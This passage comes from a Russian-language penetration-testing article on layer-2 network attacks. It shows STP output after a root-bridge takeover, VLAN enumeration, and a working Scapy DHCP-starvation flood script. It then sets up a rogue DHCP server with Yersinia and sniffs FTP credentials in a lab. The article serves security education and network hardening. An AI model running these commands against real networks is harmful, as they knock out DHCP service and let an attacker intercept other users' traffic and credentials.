Address 5000.0008.0000

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type

------------------- ---- --- --------- -------- --------------------------------

Gi0/0 Root FWD 4 128.1 Shr

Gi0/1 Desg FWD 4 128.2 Shr

Gi0/2 Desg FWD 4 128.3 Shr

Gi0/3 Desg FWD 4 128.4 Shr

Gi1/0 Desg FWD 4 128.5 Shr

Gi1/1 Desg FWD 4 128.6 Shr

Gi1/2 Desg FWD 4 128.7 Shr

Interface Role Sts Cost Prio.Nbr Type

------------------- ---- --- --------- -------- --------------------------------

Gi1/3 Desg FWD 4 128.8 Shr

Сос­тояние STP на ком­мутато­ре SW2 пос­ле ата­ки:

VLAN0001

Spanning tree enabled protocol rstp

Root ID Priority 32769

Address 5000.0007.0000

Cost 8

Port 1 (GigabitEthernet0/0)

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)

Address 5000.0009.0000

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type

------------------- ---- --- --------- -------- --------------------------------

Gi0/0 Root FWD 4 128.1 Shr

Gi0/1 Altn BLK 4 128.2 Shr

Gi0/2 Desg FWD 4 128.3 Shr

Gi0/3 Desg FWD 4 128.4 Shr

Gi1/0 Desg FWD 4 128.5 Shr

Gi1/1 Desg FWD 4 128.6 Shr

Gi1/2 Desg FWD 4 128.7 Shr

Interface Role Sts Cost Prio.Nbr Type

------------------- ---- --- --------- -------- --------------------------------

Gi1/3 Desg FWD 4 128.8 Shr

Сос­тояние STP на ком­мутато­ре SW3 пос­ле ата­ки:

VLAN0001

Spanning tree enabled protocol rstp

Root ID Priority 32769

Address 5000.0007.0000

Cost 4

Port 1 (GigabitEthernet0/0)

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)

Address 5000.000a.0000

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 300 sec

Interface Role Sts Cost Prio.Nbr Type

------------------- ---- --- --------- -------- --------------------------------

Gi0/0 Root FWD 4 128.1 Shr

Gi0/1 Altn BLK 4 128.2 Shr

Gi0/2 Desg FWD 4 128.3 Shr

Gi0/3 Desg FWD 4 128.4 Shr

Gi1/0 Desg FWD 4 128.5 Shr

Gi1/1 Desg FWD 4 128.6 Shr

Gi1/2 Desg FWD 4 128.7 Shr

Interface Role Sts Cost Prio.Nbr Type

------------------- ---- --- --------- -------- --------------------------------

Gi1/3 Desg FWD 4 128.8 Shr

122d50106031df7a07c6ea9c97fd88bc.png

Те­перь тра­фик побежит через наш компь­ютер. Для наг­ляднос­ти ини­циирую ICMP-зап­росы от компь­юте­ра с IP-адре­сом 10.1.1.100 до компь­юте­ра под IP-адре­сом 10.1.1.200.

a2444b6a97de68fc20921f07ceba501e.png

Вот таким дос­таточ­но нес­ложным спо­собом мож­но перех­ватывать тра­фик. При этом для легитим­ных хос­тов видимых приз­наков ата­ки нет.

VLAN ID Enumeration

С помощью обна­ружен­ного кад­ра STP мож­но понять, в какой сети VLAN ты находишь­ся. Информа­ция о VLAN ID рас­положе­на в заголов­ке Root Identifier (Root Bridge System ID Extension). Его зна­чение экви­вален­тно зна­чению VLAN ID на пор­те, к которо­му ты под­клю­чен.

67de0d9366c6608f3ab9cc785b082733.jpg
fba682692d47b073616061c0fd8467d5.jpg
4cae06f1dcf4ab14ec1358fb3b192eb6.jpg

ИСТОЩЕНИЕ И ПОДМЕНА DHCP-СЕРВЕРА

DHCP Starvation

Эта ата­ка осно­вана на про­веде­нии рас­сылок огромно­го количес­тва сооб­щений DHCPDISCOVER с целью исто­щить адресное прос­транс­тво на сер­вере DHCP. Сер­вер DHCP будет реаги­ровать на каж­дый зап­рос и выдавать IP-адрес. Пос­ле перепол­нения допус­тимого адресно­го прос­транс­тва сер­вер DHCP боль­ше не смо­жет обслу­живать новых кли­ентов в сво­ей сети, выдавая им IP-адре­са.

e3f759e7220e0ed78b32b6ea6e6e9353.png

Про­тес­тиру­ем эту ата­ку на неболь­шой локаль­ной сети. DHCP-сер­вер уже нас­тро­ен на мар­шру­тиза­торе GW. Под­сеть — 10.1.1.0/24.

d839f36cf003ac5dd889d72b6f7ef6e7.png

С помощью Scapy вызовем рас­сылку фей­ковых DHCPDISCOVER. В качес­тве MAC-адре­са наз­начения и IP-адре­са наз­начения выс­тупят адре­са широко­веща­тель­ной рас­сылки. Добавим слой про­токо­ла UDP, пос­коль­ку про­токол DHCP исполь­зует его. В шаб­лоне options ука­жем, что мы будем рас­сылать пакеты DHCP типа DISCOVER И в кон­це зацик­лим бес­конеч­ную отправ­ку генери­руемых фрей­мов.

>>> malicious_dhcp_discover = Ether(src=RandMAC(), dst="FF:FF:FF:FF:FF:FF")

>>> malicious_dhcp_discover /= IP(src="0.0.0.0",dst="255.255.255.255")

>>> malicious_dhcp_discover /= UDP(sport=68, dport=67)

>>> malicious_dhcp_discover /= BOOTP(op=1, chaddr = RandMAC())

>>> malicious_dhcp_discover /= DHCP(options=[('message-type', 'discover'),('end')])

>>> sendp(malicious_dhcp_discover, iface="eth0", loop=1, verbose=1)

adusing-dhcp.png
f3210a6527e92deff599c47d90eff214.png
5969882c593ecd32ab602acb430d0806.png

Сер­вер DHCP выведен из строя, теперь мож­но прис­тупить к соз­данию его лож­ного ана­лога.

DHCP Spoofing

Пос­ле вывода из строя легитим­ного DHCP-сер­вера зло­умыш­ленник может под­нять на сво­ей сто­роне фей­ковый DHCP-сер­вер, заявив, что имен­но он и явля­ется шлю­зом по умол­чанию. Ког­да DHCP-сер­вер выда­ет IP-адре­са хос­там в сети, там переда­ется и информа­ция об IP-адре­се шлю­за по умол­чанию. Поэто­му, нас­тра­ивая такой DHCP-сер­вер, в качес­тве default gateway ука­жем наш IP-адрес. Пос­ле того как кли­ент получит адрес, сде­лав зап­рос к нам, на его сто­роне мы будем шлю­зом по умол­чанию и он будет нап­равлять свои пакеты нам. Это соз­дает иде­аль­ные усло­вия для про­веде­ния атак типа MITM.

Вос­поль­зуем­ся Yersinia, что­бы под­нять лож­ный сер­вер DHCP.

dhcp1.png
dhcp2.png

Те­перь на машине с Windows 10 с помощью двух команд вызовем обновле­ние IP-адре­са, то есть поп­робу­ем получить адрес из соз­данно­го нами лож­ного сер­вера DHCP:

C:\Windows\system32> ipconfig /release

C:\Windows\system32> ipconfig /renew

victim-dhcp.png

Как видим, кли­ент получил IP-адрес и информа­цию о шлю­зе по умол­чанию. Теперь мож­но попытать­ся перех­ватить тра­фик, пос­коль­ку весь тра­фик кли­ента будет идти к нам.

Пе­рек­лючим наш интерфейс в нераз­борчи­вый режим и раз­решим фор­вардинг тра­фика на интерфей­се:

c0ldheim@PWN:~$ sudo ifconfig eth0 promisc

c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1

В ито­ге нам уда­лось перех­ватить незашиф­рован­ный FTP-тра­фик с кре­дами nightmare:nightmare.

f05d9b2f16ab50bbb1bf7eb34c16dcb1.png

ВЫВОДЫ

В этой статье я разоб­рал боль­шинс­тво сце­нари­ев атак на каналь­ный уро­вень компь­ютер­ной сети. Исхо­дя из лич­ного опы­та пен­тестов, могу ска­зать, что про­токо­лы уров­ня L2 очень час­то оста­ются без дол­жно­го вни­мания и в боль­шинс­тве слу­чаев работа­ют с кон­фигура­цией по умол­чанию. Этим, как ты видишь, может вос­поль­зовать­ся зло­умыш­ленник.

Ата­ки L2 в пос­леднее вре­мя утра­тили акту­аль­ность и нем­ного выш­ли из моды: сей­час мало кто обра­щает на них вни­мание. Воз­можно, эта статья подарит пен­тесте­рам новые вари­анты атак, а сетевые инже­неры пос­ле проч­тения смо­гут повысить уро­вень защищен­ности сво­их сетей.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei